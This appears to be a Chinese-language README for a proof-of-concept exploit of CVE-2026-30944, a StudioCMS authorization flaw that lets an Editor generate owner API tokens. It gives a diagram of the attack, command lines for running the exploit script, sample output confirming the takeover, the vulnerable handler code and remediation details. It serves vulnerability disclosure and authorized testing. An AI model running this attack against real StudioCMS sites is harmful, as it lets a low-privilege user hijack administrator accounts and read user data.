StudioCMS 通过不安全的 API 令牌生成实现权限提升
StudioCMS ≤ 0.3.0 中的 POST /studiocms_api/dashboard/api-tokens 端点允许任何已认证用户(至少为 Editor 角色)为任何其他用户(包括 owner 和 admin 账户)生成 API 令牌。
该端点接受请求体中的 user 参数来指定目标用户 UUID,但从不验证请求用户是否有权代表该目标用户创建令牌。这是一个典型的**对象级授权失效(BOLA)**漏洞,可导致完全权限提升。
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ 攻击者 │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ 服务器 │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [以 Owner 身份获取完整用户数据] │
│ │
| 文件 | 描述 |
|---|---|
cve_2026_30944_poc.py | Python 利用脚本,支持手动与自动模式 |
README.md | 本文件 |
LICENSE | MIT 许可证 |
Editor 账户的有效凭据pip install requests colorama
# 使用编辑器账户为 owner 生成 API 令牌
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 将结果保存为 JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# 使用多个角色进行测试以确认漏洞
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| 参数 | 描述 |
|---|---|
-u, --url | 目标 StudioCMS 基础 URL |
--uuid | 目标用户 UUID(例如 owner 账户) |
| 参数 | 描述 |
|---|---|
--username | 用于认证的用户名 |
--password | 用于认证的密码 |
| 参数 | 描述 |
|---|---|
--save | 将结果保存到 JSON 文件 |
--no-ssl-verify | 禁用 SSL 证书验证 |
──────────────────────────────────────────────────────────
阶段 1:身份认证
──────────────────────────────────────────────────────────
[+] 已认证为 'editor01'
[*] 会话用户:editor01 (editor)
[*] 会话 UUID:39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
阶段 2:权限提升
──────────────────────────────────────────────────────────
[*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 正在为目标用户生成 API 令牌...
[+] API 令牌生成成功!
[!] 令牌:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
阶段 3:验证
──────────────────────────────────────────────────────────
[*] 正在验证 REST API 上的令牌访问权限...
[+] 漏洞已确认 — 已获得完整 API 访问权限!
[*] 获取到 9 条用户记录
──────────────────────────────────────────────────────────
阶段 2:权限提升
──────────────────────────────────────────────────────────
[*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 正在为目标用户生成 API 令牌...
[*] 访问被拒绝(403 禁止)— 端点可能已修复
[-] 利用失败 — 未生成令牌
存在漏洞的处理程序位于 packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(第 16–57 行),它接受 JSON 请求体中的 user 参数,并在没有授权检查的情况下直接将其传递给令牌生成函数:
// [1] 仅检查调用者是否为 editor — 而不检查他们为谁创建令牌
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 请求体中的 'user' — 未与已认证会话进行验证
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] 直接传递给令牌生成 — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
授权模型仅验证*“调用者是否至少是编辑器?”,而不是“调用者是否有权为这个特定用户创建令牌?”*
将 StudioCMS 更新至 0.4.0 或更高版本:
npm install studiocms@latest
本工具仅用于教育和授权的安全测试目的。
Filipe Gaudard
本 PoC 根据 MIT 许可证 发布,仅供教育目的使用。请负责任且合乎道德地使用。
| 字段 | 值 |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8(高危)— AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639:通过用户可控密钥绕过授权 |
| CWE(次要) | CWE-863:不正确的授权 |
| MITRE ATT&CK | T1134 — 访问令牌操纵 |
| OWASP API | API1:2023 — 对象级授权失效 |
| 受影响版本 | studiocms ≤ 0.3.0 |
| 修复版本 | studiocms 0.4.0 |
| 参数 | 描述 |
|---|
--auto-test | 启用自动化多角色测试 |
--editor-user | 编辑器账户用户名 |
--editor-pass | 编辑器账户密码 |
--visitor-user | 访客账户用户名 |
--visitor-pass | 访客账户密码 |